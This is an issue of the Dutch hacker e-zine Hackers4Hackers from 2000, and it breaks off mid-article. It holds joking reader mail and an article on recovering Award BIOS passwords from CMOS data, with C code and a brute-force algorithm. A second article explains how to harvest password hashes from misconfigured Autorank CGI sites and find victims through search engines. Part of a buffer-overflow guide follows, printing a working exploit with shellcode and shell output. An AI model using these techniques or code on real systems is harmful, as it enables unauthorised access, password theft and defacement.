___ ___ _____ ___ ___ / | \ / | | / | \ / ~ \/ | |_/ ~ \ \ Y / ^ /\ Y / \___|_ /\____ | \___|_ / \/ |__| \/ +-+-+-+-+-+-+-+ +-+ +-+-+-+-+-+-+-+-+-+-+ |h|a|c|k|e|r|s| |4| |h|a|c|k|e|r|s| |0|6| +-+-+-+-+-+-+-+ +-+ +-+-+-+-+-+-+-+-+-+-+ http://www.hackers4hackers.org '19-02-2000', Momenteel 712 lezers. Om je aan te melden bij de maillijst kan je een mailtje sturen naar subscribe@hackers4hackers.org met als titel "subscribe h4h emailadres" Of je kan je online aanmelden op http://www.hackers4hackers.org Artikelen en dergelijke kun je mailen naar post@hackers4hackers.org Vragen kun je mailen naar de desbetreffende auteur of ook naar post@hackers4hackers.org Enkele interessante sites: http://itris.eu.org http://www.dutchthreat.org http://www.security.nl http://www.hit2000.org http://hier.is/Triples http://www.casema.net/~gin http://www.whatis.com http://viper.dmrt.com http://viper.dmrt.com/usr Leuke kanaaltjes op IRCnet: #hit2000 #coders.nl #h4h 01. Disclaimer............................................... (Redactie) 02. Inleiding................................................ (Redactie) 03. Lezerspost............................................... (Redactie) 04. Binnendringen van een Award bios......................... (PiepPiep) 05. Autorank................................................. (Sundevil) 06. Bufferoverflows: 'da guide' - deel 2..................... (Dvorak) 07. TCP/IP Voor newbies...................................... (Zym0t1c) 08. Evenementen.............................................. (Redactie) 09. Stoplichten.............................................. (Cobus) 10. Inleiding tot firewalls.................................. (Zym0t1c) 11. Programmeren in C........................................ (Tozz) 12. Wetsvoorstel Computercriminaliteit II *nogmaals.......... (Gerrie) 13. Eindwoord................................................ (Redactie) ------------------------------------------------------- 01. Disclaimer ------------------------------------------------------- We zijn niet verantwoordelijk voor datgene wat jullie met deze informatie doen. Deze informatie dient alleen voor educationele doeleinden. Als je in problemen komt, kan je ons niks verwijten. Gebruik maken van deze informatie kan strafbaar zijn. Meningen van auteurs hoeven niet hetzelfde te zijn als die van de redactie. ------------------------------------------------------- 02. Inleiding ------------------------------------------------------- Sinds kort heeft Hackers4Hackers een eigen domein naam : http://www.hackers4hackers.org hier kun je voortaan terecht voor het lezen van ons blad. Ook gaan we op 4 maart een meeting organiseren in Arnhem. Meer informatie hierover vind je op onze pagina. http://www.hackers4hackers.org/h4h-meeting/ De beruchte millennium bug is uit gebleven en we zijn gelukkig geen delen kwijt geraakt ;). Gerrie had op 2 dagen na het verschijnen van h4h-5 zijn artikel over het wetsvoorstel Computercriminaliteit II af en deze krijgen jullie dus alsnog van ons. H4H heeft nu ook een kanaal geopend op IRCnet. Het heet dan ook natuurlijk #h4h. Iedereen is welkom om vragen te stellen of gewoon gezellig te ouwehoeren. Ook nieuw op onze site is de poll, Hier kan je jouw mening geven over een onderwerp dat ter discussie komt in het blad. We zullen hier regelmatig nieuwe poll's op gaan zetten. Ook is er een nieuw email adres voor de lezers post : post@hackers4hackers.org, Deze gaan we de volgende keer ook anders doen... Iets minder onzin berichten. We wensen iedereen veel leesplezier toe en mochten er op of aanmerkingen zijn, surf dan even naar onze website en vul het in bij commentaar. De redactie ------------------------------------------------------- 03. Lezerspost ------------------------------------------------------- Hallo hacker [Meneer de hacker voor jou..] Mag ik je een vraag stellen als beginnende Internetter. [Tuurlijk altijd] Ik heb met veel aandacht jullie pagina's over chatten gelezen. Ik lees regelmatig over hackers en hoe deze zelfs de controle van je computer kunnen overnemen. Loop je via chatten of ICQ gevaar om gehackt te worden? [ICQ is geen chat programma maar een trojaan dat houd in dat je daar dus mee gevaar loopt ja] Vriendelijke groeten Kris De Jonghe [Ook de groete thuis !] --------------------- Ik krijg nooit mailtjes van "Ha, er is een nieuwe H4H uit!!" ofzo... [Als je je aanmeld op de mailing list krijg je de nieuwe h4h zo in je mailboxje.] gr. Taylan --------------------- Asby, [Helaas, Bermuda dit keer...] Gij moet mij helpen ! ! ! Ik heb weer eens een probleem, ik hackte overlaatst een pc en dat gastje hackte mij toch wel terug zeker, [Dus jij was dat !] godverdjui, ik geeft het toe, ik had de veiligheidsregels in acht moeten nemen volgens het boekje. [Dom Dom Dom.] Nu zou ik naar hem een virus willen mailen als attachement. [Gelijk doen !, Bo of Netbus hebben ?] Maar daar heb je het probleem, ik kan geen virussen maken, ik kan niet programmeren! [Wist je dat de meeste programmeurs nog geen virus kunnen maken !] Heb jij er toevallig eentje liggen ? [Ja... Ergens in de hoek van de kamer onder het stof] Mail het mij nikeer. Zet er ook bij hoe ik het kan activeren op een word (doc) bestand. [Nikeer heb ik niet, Zal wel een handleiding typen in word.] Doei, Daan Van de Peppel [Dag, dag] PS: liefst vlug ik kan dat ventje niet uitstaan. [Als je hem niet uit kan staan moet je zeker vlug zijn] PS2: het virus moet wel de pc geheel formatten ! [Die optie is alleen in de GOLD versie beschikbaar] ------------------------ Was ik vergeten vragen: [Goed dat je er nog aan denkt] Wanner komt de nieuwen van H4H uit ? [Zodra hij uit komt] -------------------------- Vraagje : [Vraag maar raak] werkt die wwwhack van jouw nog? [wwwhack ?] zo ja stuurt m dan maar a.u.b? [Volgens mij heb je de verkeerde voor je] -------------------------- Subject: creditcardgenerator voor xxx-sites [Heh ? Vaag z'n subject zou hem bijna in mijn spam vakje gooien] waar kan je deze verkrijgen [Ik denk dat je creditcard nummer bedoelt... Generator is z'n ding dat stroom op wekt, dat nummer kan je bij de bank op de hoek halen] vr.gr. mart --------------------- Hoi Asby, [Zucht, Berry dit keer !] Toevallig kwam ik deze site tegen bij het zoeken van mailbomprogrammatjes. [Ehhh shit... Staan dus weer verkeerde dingen in de zoek pagina's] Nou heb ik aan jou een vraag. Heb jij toevallig voor mij een tof mailbomprogrammatje waarmee ik anoniem zo'n 500 mailtjes kan sturen (meer mag ook natuurlijk) ? [Ik heb meestal een hekel aan dat soort programma's maar goed probeer je provider eens te mailen die hebben vaak van dat soort programma's klaar staan op hun ftp site. Je moet dus alleen even vragen naar de url] Zou tof wezen. [altijd] Ik heb ook nog geprobeerd een hotmailaccount te hacken. Met dat http://207.82.250.251/cgi-bin/start/naam weet je wel? Dat werkt jammergenoeg niet. Want ik heb het bij mezelf ook uitgeprobeerd! [Ja wel shit... Echt jammer dat dat niet lukte] Nou ik hoor hoop ik wel wat van je [Dacht het niet] Appie [flappie, Flappie !!! (waar hang dat konijn toch uit)] http://welcome.to/appie [Ah daar ben je... Was je al sinds kerst kweid !] ------------------------- beste asby [Hoevaak moet ik het nog zeggen, Ach laat maar.] ik snap er nog steed niets van ik heb nu subseven [De wereld is complex] en daar kan ik wel in iemands computer komen [Heb je ook de matrix gezien, Misschien dat het dan wat duidelijker voor je wordt] maar iedereen zegt dat het een trojan ofzo is [mijn virus scanner zecht dat ook altijd] omdat jij zo veel weet over hacken wil ik dat jij mij helpt met hacken [Ik ben best duur per uur ik weet niet of je dat van je zakgeld kunt betalen] kelvina [Het is een meisje !] ---------------- hoi [Ook hoi] ik heb een vraagie ik heb alles gelezen van je web-page maar toch nog een vraagie. [Vraag maar raak] hier is ie: [Ja, Ja, Jaaa, Jaaaa !] "als ik nu dat IP adres van die pc heb dan wil ik op die pc maar waar moet ik dat invullen dan om erop te komen??? [IP versie 4 of 6 ?] ik hoop dat ik snel antwoord krijg. [Snel genoeg ?] Benny ---------------- Hallo mijn vriend, [Gho wat heb ik toch een boel vrienden ineens] Ik wil graag de hotmail pasword van iemand weten. Kunt u mij helpen? [Ik ook wel eens] Als u mij kan helpen dan kan ik je wel belonen. [In natura of cash ?] Ik hoop dat jij mij terug schrijft, [Nop, zet het wel in h4h ofzo] Tot ziens [daaag] ---------------- Kan je mij misschien vertellen hoe ik een cd met kopieerbeveiliging toch kan kopieren. [Moet je een bakje met olie pakken, Naaimaschine olie is het beste maar het kan ook met kruip olie. Je legt de cd dan in dat bakje doet er een velletje carbon papier op daarop leg je een lege cd en doet dit alles 3 minuten in de magnetron] alvast bedankt [Graag gedaan] INTERPAT :)) ------------------ HAAI. [Waar ?] Hoe krijg je een starters account op een internet dat je wil defacen? [starters, een internet... ehhh ik wordt te oud hier voor..] Of kan je ook defacen zonder een starters account. (Zonder de phf exploit of de andere standaart exploits?) [Vast wel] MiRaCLe_MaN [Een wonder kind zeker ?] ----------------- yoep, [Bermuda was mij naam ja.] Ik zit met een probleemke ik heb een lief en die zit altijd te maile mee ne vriend van mij.en ik zou graag is in die hare mailbox zien.ik heb al vanalles geprobeert ma da lukt nie.die heeft een adres op hotmail.kunde gij mij helpen. [Voor liefdes problemen verwijs ik je graag door naar de libele online] pieter ------------------- Beste Asby, [Mis poes !] Gefeliciteerd met de fantastische site! [Dank ook namens asby] Ik heb een vraagje: Ik ben een absolute newbie op het gebied van hacken en ik ben op zoek naar een versie van netbus, [Snif] maar dan verpakt in een spelletje ofzo zodat het niet opvalt wanneer mensen het aannemen. [Huil] Ik bedoel er niets verkeerds mee, [Jank] ik wil alleen ene grapje met mijn vriendin uithalen en zelf wat nuttige oefening krijgen. [Tuurlijk] Weet jij waar ik dit kan vinden of beter nog zou je het kunnen mailen naar mij? [Nee] Hartelijk bedankt en ik heb de site gebookmarked. [Ik dank U, En nu niet te veel verkeer generen] Groeten, Oscar. ------------------ Geachte heer, [O wat voel ik me oud !] Een klein vraagje: Als je bv met het prog sub7 hackt, hab je eerst een IP nodig, en dan het poortnummer.Dan ga je verbinding maken en soms vraagt ie om een pswoord,>>> hoe com ik daar achter? [probeer eens 127.0.0.1 en dan alle poorten tussen 0 en 9999999 en dat password is jouw eigen psw. Anders zou iemand zomaar met dat progje kunnen spelen zonder dat jij dat weet] ------------------ Yo, [Hi] Wat is op dit moment nog een werkende manier om een hotmailpassword te kraken...vroeger lukte het nog via een java appletje, nu wil dat al niet meer. [Ik zou het niet weten, Probeer eens om een boze brief naar hotmail te sturen met daarin een klacht dat je niet meer je mail kan uitlezen met dat appeltje van je] als je me verder kan informeren over deze kwestie..-graag-.. [Nop] Cya RlR ------------------- Hallo, Kan je mischien Oscar via email verzenden? [Zucht] Op die site waar die zou moeten staan bestaat helemaal niet. [Een oscar, Die krijg je ook alleen maar te zien als je een goede film gemaakt hebt toch ?] Gijs ------------------- Beste Asby, [Berry dit keer.] Nergens kan ik het prog. Back Orifice meer vinden op internet. Zou je mij een exemplaartje willen toe-mailen?? [oke start jij den even patch.exe van netbus ?] In iedergeval bedankt! [graag gedaan] Egbert ------------------- Oke ik weet dat dit vast belagelijk gaat klinken maar ik wil dus leren hacken. [Dat willen wel meer mensen die dit blad lezen] Mijn vraag is alleen HOE LEER JE ZOIETS! tot nu toe snap ik er dus geen kont van!!!!!!!! [Vooral doorlezen, Vooral doorlezen] -------------------- Yo, [ook hoi] ik heb het password en ik kan inloggen als beheerder op het netwerk bij mij op school? [Gho leuk voor je] Zou het nu ook mogelijk zijn om de website van de school te kraken ? [Als die niet bij een internet provider staat wel ja.] En hoe zou ik mij het beste beveiligen zodat ik niet gepakt kan worden?? [Een bivak muts opzetten !] Cay's --------------------- Hoe hack je nou precies? [Dat is een lang verhaal] Moet je daar een programma voor hebben en waar kan ik die krijgen? [Nee je moet hersens hebben, en die kon je bij je geboorte krijgen] --------------------- Hallo Asby, [Voor de laatste keer, Bermuda] Even een onbelangrijk vraagje (voor de verandering). Pfjew. Eindelijk, Iedereen vind hotmail vragen enzo belangrijk en het moet allemaal vlug, vlug, vlug... Eindelijk een mailtje wat ik op me gemak kan beantwoorden] Sturen lezers jou alleen maar domme vragen of behandel je de goede vragen gewoon niet in je uitgaves? [Nou de goede vragen die komen meestal in de niewsgroep, Wij vangen hier eerst alle onzin af] Ik vind trouwens wel dat je die vragen met een gepaste portie relativerende humor en een ongelofelijke scheut geduld beantwoord. [Tuurlijk anders is het voor de lezers ook niet leuk om alles te lezen] Daarvoor mijn zeer wel gemeende complimenten :p [Ik dank u er voor, En u ziet dat er dus ook andere vragen dan onzin in de lezerspost komen ;)] ------------------- bij het hacken moet je een paar talen kennen zoals (Python, C, Perl en LISP) waar kan ik die vinden?????????????? [In de supermarkt, maar ze verkopen ze tegenwoordig ook al bij gamma] ----------- Hey! ik heb een vraag die u/je denk ik niet beantwoord maar ik probeer het toch! [Verwonder u en zie dat ik uw vraag behandel] Ik wil graag weten hoe ik moet hacken. Kunt u me aub informatie geven? [http://www.hackers4hackers.org , Dan bij Archief kijken ! Niet door vertellen hoor !] ik wil alleen maar leren hacken om bij vrienden in hun pc's te komen en dan mijn nickname achter laten. Alvast bedankt! [Lekkere vriend ben jij dan] Uw site is wel relaxt! (en dit is niet om te slijmen) [Ik voel me gevleid] ---------- Waar kan ik info vinden over butman. [in de achtertuin bij uw buren] En hoe kan ik het gebruiken [in de struiken tegen de brandnetels als uw buurman u betrapt] ---------- [Zo dit was de lezerspost weer voor dit deel. in de volgende delen van h4h willen we alleen nog sereuze mailtjes gaan behandelen. Je kunt deze sturen naar post@hackers4hackers.org] ------------------------------------------------------- 04. Binnendringen van een Award bios ------------------------------------------------------- Hallo iedereen. Zoals de meeste waarschijnlijk al weten kan je in een award bios met password daarop binnenkomen met als password AWARD_SW en soms SW_AWARD. Op sommige award biossen werkt dit echter niet. Nou zou het leuk zijn om toch in deze biossen te kunnen komen. Dit kan meestal op een heel makkelijke manier door een jumper te setten op het moederbord of door de cmos data te overschrijven. In beide gevallen zal de systeembeheerder erachter komen en het password waarschijnlijk veranderen. Leuker is dus om het password te achterhalen zodat de systeembeheerder er waarschijnlijk niet zo snel achter komt dat er iemand in het bios kan. Nu is het zo dat in de cmos data van de computer het password staat. Dit is zeer waarschijnlijk niet het originele password maar eerder een uitkomst van een formule op het echte password. Ik zal nu laten zien hoe we in het bios kunnen komen zonder de jumper te setten of iets te overschrijven. Als eerste heb ik een klein programmaatje gemaakt in C dat de cmos data kan uitlezen. De cmos data is een klein stukje geheugen van 128 bytes. Om dit uit te lezen moet je eerst naar io-port 0x70 het adres schrijven van de byte die je wilt lezen of schrijven. Hierna kan je io-port 0x71 lezen om te weten wat er staat, of schrijven om de waarde te veranderen. Mijn programmaatje doet dit voor adressen 0 t/m 127 en zet deze hexadecimaal op het scherm. Vervolgens ga ik in mijn bios het password veranderen naar een enkele a. Als ik nu mijn programma start geeft het de volgende output : 31 00 04 50 02 17 05 27 12 99 26 02 50 80 00 00 40 c2 f0 f1 0f 80 02 c0 ff 2e 2f 30 61 00 00 00 00 ff ff ff ff 00 13 ce 10 ff ff 12 ce 3f 0e 2b c0 ff 19 80 86 0d 37 0e 9c 00 10 0b 90 d1 ea 11 af f7 df ff 5f 7c 01 ff 19 1d 62 c5 80 08 3d 30 6c 00 00 35 01 01 11 32 00 11 59 49 0b 90 bf 03 f7 41 df 17 3a ff ff 00 00 00 00 00 00 00 ff 00 2f 00 00 00 ff ff ff ff 00 df 0f b7 01 60 06 ff Hierna verander ik mijn password naar een enkele b en run het programma weer. De output is nu dit : 58 00 05 50 02 17 05 27 12 99 26 02 50 80 00 00 40 c2 f0 f1 0f 80 02 c0 ff 2e 2f 30 62 00 00 00 00 ff ff ff ff 00 13 ce 10 ff ff 12 ce 3f 0e 2c c0 ff 19 80 86 0d 37 0e 9c 00 10 0b 90 d1 ea 11 af f7 df ff 5f 7c 01 ff 19 1d 62 c5 80 08 3d 30 6c 00 00 35 01 01 11 32 00 11 59 49 0b 90 bf 03 f7 41 df 17 3a ff ff 00 00 00 00 00 00 00 ff 00 2f 00 00 00 ff ff ff ff 00 df 0f b7 01 60 06 ff We zien nu dat de bytes op offsets 0, 2 en 0x1C zijn verandert. Als we in een stukje documentatie over het cmos geheugen lezen zien we daar dat offset 0 en 2 de tijd zijn. Nu weten we dus dat het password op offset 0x1C staat. We veranderen het password nog eens in aa, ab en ba. Nu zien we dat niet alleen 0x1C verandert maar ook 0x1D. We maken even een tabelletje en zetten de waarden erin die we nu hebben. password | 0x1C | 0x1D | word ---------+------+------+------- a | 0x61 | 0x00 | 0x0061 b | 0x62 | 0x00 | 0x0062 aa | 0xE5 | 0x01 | 0x01E5 ab | 0xE6 | 0x01 | 0x01E6 ba | 0xE9 | 0x01 | 0x01E9 Als we 0x1C en 0x1D als word zouden uitlezen krijgen we de laatste kolom. Nu pakken we een ascii boekje erbij en we zien dat de letter a de waarde 0x61 heeft en de letter b de waarde 0x62. Dat is makkelijk, als het password 1 letter lang is, dan is de waarde in het cmos dus gewoon de ascii waarde van die letter. Nu nog als er meerdere letters in het password zitten. We trekken om te beginnen de waarde van de letter die we als laatste in het password hebben eraf. We krijgen nu dit : aa => 0x01E5 - 0x61 = 0x0184 ab => 0x01E6 - 0x62 = 0x0184 ba => 0x01E9 - 0x61 = 0x0188 We zien dat dit de waarden zijn van de eerste letter maal 4. Dit is makkelijk !! Waarschijnlijk is het hele algoritme iets van dit : zet controle word op 0 lees een letter in do zolang de letter geen enter is vermenigvuldig controle word met 4 tel de letter erbij op lees een nieuwe letter in controle word is berekend Dit gaan we testen met het password PiepPiep De ascii waarden zijn 2 keer de reeks " 0x50 0x69 0x65 0x70 " We beginnen met controle waarde 0 We vermenigvuldigen het met 4 en krijgen 0 We tellen 0x50 voor de P erbij op en krijgen 0x0050 We vermenigvuldigen het met 4 en krijgen 0x0140 We tellen 0x69 voor de i erbij op en krijgen 0x01A9 We vermenigvuldigen het met 4 en krijgen 0x06A4 We tellen 0x65 voor de e erbij op en krijgen 0x0709 We vermenigvuldigen het met 4 en krijgen 0x1C24 We tellen 0x70 voor de p erbij op en krijgen 0x1C94 We vermenigvuldigen het met 4 en krijgen 0x7250 We tellen 0x50 voor de P erbij op en krijgen 0x72A0 We vermenigvuldigen het met 4 en krijgen 0x1CA80 We tellen 0x69 voor de i erbij op en krijgen 0x1CAE9 We vermenigvuldigen het met 4 en krijgen 0x72BA4 We tellen 0x65 voor de e erbij op en krijgen 0x72C09 We vermenigvuldigen het met 4 en krijgen 0x1CB024 We tellen 0x70 voor de p erbij op en krijgen 0x1CB094 De waarde die we nu hebben is te lang. Dus delen we het op in losse worden en tellen we deze bij elkaar op. 0x001C + 0xB094 = 0xB0B0 We veranderen snel het password in het bios en kijken wat er voor waarde instaat. En ja hoor, er staat netjes 0xB0B0. Tot nu toe kunnen we dus kijken wat de controle waarde is die bij een password hoort. Wat we nu nog willen is een password vinden bij een controle waarde die we ergens 'vinden'. Bv met ons zelf gemaakt proggie om de cmos data uit te lezen. Dit gaan we doen met een bruteforce aanval met het volgende algoritme : doe zolang geen goed password gevonden is maak de string leeg doe 8 keer voeg een willekeurig teken toe aan de string zolang de string een controle waarde geeft die niet goed is druk de string af op het scherm Het programma om het eerste deel te doen is als volgt : #include #include #include #include #include #include void main() { int teller, waarde; cout << hex; for (teller=0; teller<128; teller++) { outp(0x70, teller); waarde=inp(0x71); if (waarde<16) cout << "0"; cout << waarde << " "; if ((teller&0xF)==0xF) cout << endl; } cout << endl; } Opslaan als .cpp en compilen met borland 4.5, dan werkt het zeker. Onder andere compilers of anders OS'en weet ik niet hoe het moet. Het 2e programma is een keer omgekomen in een hdd-crash. Ja, dit programma eigenlijk ook maar die kon ik wel ff opnieuw maken. Een beetje coder kan het 2e programma echter zo zelf maken met deze info, als het goed is. Heel misschien dat ik het ooit zelf nog eens ga maken. Weinig kans eigenlijk :) Verder ben ik wel eens bezig geweest met hetzelfde maar dan voor een ami bios. Het leek hier of niet de ascii waarden werden gebruikt voor de controle waarde, maar meer de scancodes van de toetsen. Hoe het echter verder ging heb ik nog niet kunnen ontdekken. Misschien ga ik het nog wel een keer proberen als ik tijd heb. Weinig kans denk ik :) Ik heb trouwens weleens proggies gezien die het voor een ami moesten kunnen, maar deze werkten niet op mijn p90 met ami. Het lijkt me best leuk om het nog wel een keer te weten hoe het met ami zit. Als iemand hier iets over weet zou ik het dus wel cool vinden om hier een mailtje over te krijgen. Mijn emailadres : nl0jbl@hotmail.com PiepPiep ------------------------------------------------------- 05. Autorank ------------------------------------------------------- Autorank is een cgi script dat wordt gebruikt om zg. topsites te maken. Er zijn twee versies verkrijgbaar: Autorank en Autorank Pro. De eerste is vrij verkrijgbaar en de tweede kost $65.00. Ze zijn allebei verkrijgbaar op http://www.cgi-works.net. Dit is op zich niet zo opzienbarend ware het niet dat de meeste mensen niet weten hoe ze hun directories moeten beschermen als ze iets installeren en DAAR gaat dit artikel over. De mens is van nature lui en gebruikt vaak dezelfde wachtwoorden voor verschillende zaken. Hier gaan we gebruik van maken. Zou het niet leuk zijn om alle wachtwoorden die mensen gebruiken in een top100 te kunnen zien ? Geheid dat 20% hiervan hetzelfde wachtwoord heeft ingetikt als ze daadwerkelijk gebruiken om in te loggen op hun eigen site. Autorank slaat alle informatie van een 'member' op in een file in een member-directory. Stap 1 is dus om uit te vinden waar die member-directory zich bevind en omdat je er waarschijnlijk geen filescan rechten hebt hoe de member-file heet. Allereest gaan we uitzoekn waar de member-directory zich bevind. Autorank heeft een html interface om het script en de top-site te onderhouden. Dit gaat via het setup.cgi script. Als je dit script runt geeft het een absoluut pad aan naar de member-directory. Waar staat dit setup.cgi script dan ? Dat kun je uitvinden op de volgende manier: ga naar de top-site en kopieer een van de links die in de top-list staan. Dit zal er ongeveer als volgt uitzien: http://www.foobar.nl/cgi-bin/top50/out.cgi?rosanne, dit geeft ons een pad naar waar de cgi scriptys zich bevinden. Pasteer deze link in je adresbar en vervang het laaste gedeelte voor 'setup.cgi'. Het resultaat zal er als volgt uitzien: http://www.foorbar.nl/cgi-bin/top50/setup.cgi. Nu zie je de html interface om het script te onderhouden. Hier kun je de 'member data directory uitlezen', dit zal er ongeveer uitzien als: /opt/usr/foobar/domain/cgi-bin/top50/members/ Dit resulteert dus in een member-directory van: http://www.foobar.nl/cgi-bin/top50/members/ Dat was stap 1, nu stap 2, het uitvinden van de member-file naam. Dit is net zo eenvoudig als stap 1. Ga naar de top-site en kopieer een van de links die in de top-list staan. Pak hiervan de memberID, dat is het gedeelte dat NA out.cgi? komt. In ons voorbeeld dus 'rosanne'. Zo heeft elke member een eigen memberID. Autorank slaat de member informatie op in een file die dezelfde naam krijgt + .mbr ie. 'rosanne.mbr'. Goed, we weten de directory en de filenaam. Laten we die maar eens oproepen. http://www.foobar.nl/cgi-bin/top50/members/rosanne.mbr KATAVLAM! 184|46|3138|0|http://www.nogeenfoobar.nl//|Rosanne's page|Dit is mijn hompage, kom eens langs om te kijken.|rosanne@nogeenfoobar.nl| http://www.nogeenfoobar.nl/images/banner.gif|aaU4pgg7wTyQU| Deze file is als volgt opgebouwd: Allereerst de status van de member ie. hoeveel hits ze heeft gekregen, op welke plaats ze in de top staat hoevaak erop is geklikt etc. Dan volgt de link van de homepage, de beschrijving en een eventuele link naar een banner. En als laatste..........het geencrypte wachtwoord :) Let op! Dit is het wachtwoord dat de member heeft ingevuld bij het aanmelden op de top-site en hoeft niet haar eigen wachtwoord te zijn! Maar zoals ik al zei: de mens is lui, en admins zijn de luiste mensen van allemaal. Bovenstaande lijkt allemaal veel werk, maar het is zeer eenvoudig om even een programmatje te schrijven die alle membernamen opzoekt, de files ophaald, en de informatie in een file schrijft die je direct aan je favoriete password cracker kunt voeren. Vrees niet, ook dit heb ik al gedaan en meegstuurd, kijk de members van H4H maar eens lief aan. Hij is traag en buggy, maar werkt redelijk ok over het algemeen :) Nu als klap op de vuurpijl: http://www.altavista.com/cgi-bin/query?pg=q&sc=on&q=%22powered+by+ autorank%22&kl=XX&stype=stext http://www.altavista.com/cgi-bin/query?sc=on&q=%2Burl%3Aautorank&kl=XX&pg=q Uiteraard werkt bovenstaande verhaal alleen als de rights op de directories fout zijn neergezet, maar de makers van autorank zijn zo vriendelijk geweest om in de bijhorende readme de nodige rights neer te zetten die het script open laten. Er zijn natuurlijk nog veel meer van deze scripts te vinden met hun eigen exploitabilities, maar ik kan niet alles voor gaan kauwen. (tip: kijk een s naar het script van TopSitesPro) Aw,...mocht je gaan d-facen: een shout naar mij zou erg aardig zijn. _Sundevil (flierps@hotmail.com) [autorank.zip die bij dit artikel hoort is terug te vinden op http://www.hackers4hackers.org/filez.htm] ------------------------------------------------------- 06. Bufferoverflows: 'da guide' - deel 2 ------------------------------------------------------- [Redactie: Dit artikel was oorspronkelijk twee keer zo lang, maar omdat het artikel dan groter zou worden dan H4H zelf hebben we het op een mooi punt door twee-en geknipt. Dus in de vorige H4H kan je deel 1 terug vinden.] Kleine Buffer Overflows ~~~~~~~~~~~~~~~~~~~~~~~ Er zijn voorbeelden van bugs waarbij de buffer die je probeert te overflowen te klein is om de shellcode te bevatten of dat de shellcode het return adres overschrijft ipv dat dit wordt gezet naar het begin van de buffer of dat het aantal NOPS dat je aan het begin van de buffer kan plaatsen te klein is om een redelijk kans te hebben op succes. Om deze bugs te exploiten is een andere manier nodig. Een van die manieren is om de shellcode in het environment van het programma te plaatsen, en is dus alleen nuttig als je het environment kan wijzigen. De shellcode staat dan in het geheugen en we overflowen de buffer met enkel het return adres. Een tweede voordeel is dat je de groote van de environment variabele kan aanpassen en dus een zeer grote hoeveelheid NOP's kan plaatsen. De environment variabelen worden opgeslagen aan de top van de stack (zoals eerder besproken). wijzigen in deze variabelen met setenv worden dan op een andere plaats bewaard. Het nieuwe exploit heeft een extra variable, de groote van de variabele die de shellcode en de nops bevat. Ook stopt hij niet langer shellcode en return adressen in een(1) variabele. exploit4.c #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_esp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(buff,"RET=",4); putenv(buff); system("/bin/bash"); } Een test met ons vulnerable programma levert het volgende op: [aleph1]$ ./exploit4 768 Using address: 0xbffffdb0 [aleph1]$ ./vulnerable $RET $ Werkt perfect. [aleph1]$ export DISPLAY=:0.0 [aleph1]$ ./exploit4 2148 Using address: 0xbffffdb0 [aleph1]$ /usr/X11R6/bin/xterm -fg $RET Warning: Color name "°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿ °¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿° ¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿° ¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ Warning: some arguments in previous message were lost $ In een keer. Onze kansen zijn zeker toegenomen. Afhankelijk van de hoeveelheid environment variabelen moet de offset laag of hoog zijn. Probeer dus zowel positieve als negatieve offsets. Remote buffer overflows ~~~~~~~~~~~~~~~~~~~~~~~ Deze zijn eigenlijk hetzelfde als local bufferoverflows er kunnen echter twee problemen zijn: Het is moeilijker om de goede offset te vinden. En het kan voorkomen dat alleen execve("/bin/sh"...) niet voldoende is zodat er nieuwe shellcode geschreven moet worden die iets anders doet. Het probleem van de offset is relatief makkelijk op te lossen, de meeste daemons draaien vanuit init, eventueel met tussenkomst van inetd, en zullen dus niet veel in hun environment hebben staan (wat voor het grootste deel de offset bepaald). Bovendien zal dit environment weinig verschillen tussen verschillende installaties zodat je rustig thuis de offset kan zoeken die keurig midden in de nops valt en dan gaan proberen. het probleem van de shellcode is ook relatief makkelijk oplosbaar: mail mij, er is ook een minder makkelijke oplossing: maak het zelf met behulp van de uitleg die al eerder in dit artikel stond, maar hiervoor is kennis van assembler vereist (een beetje op zijn minst) Gemangelde shellcode ~~~~~~~~~~~~~~~~~~~~ Het is mogelijk dat je bufferoverflows tegenkomt die voordat zij de string kopieren enige dingen in die string wijzigen, bijvoorbeeld van alle kleine letters hoofd letters maken, of een bepaalde set van characters niet toestaan. Meestal leidt dit tot onwerkzame shellcode ("/BIN/SH" is meestal een niet bestaand programma). Een oplossing voor dit probleem is het wijzigen van de shellcode zodat er een kleine letters in voorkomen, maar als de lijst met 'verboden' characters erg groot is kan dit een ondoenlijke opgave zijn. De oplossing is dan 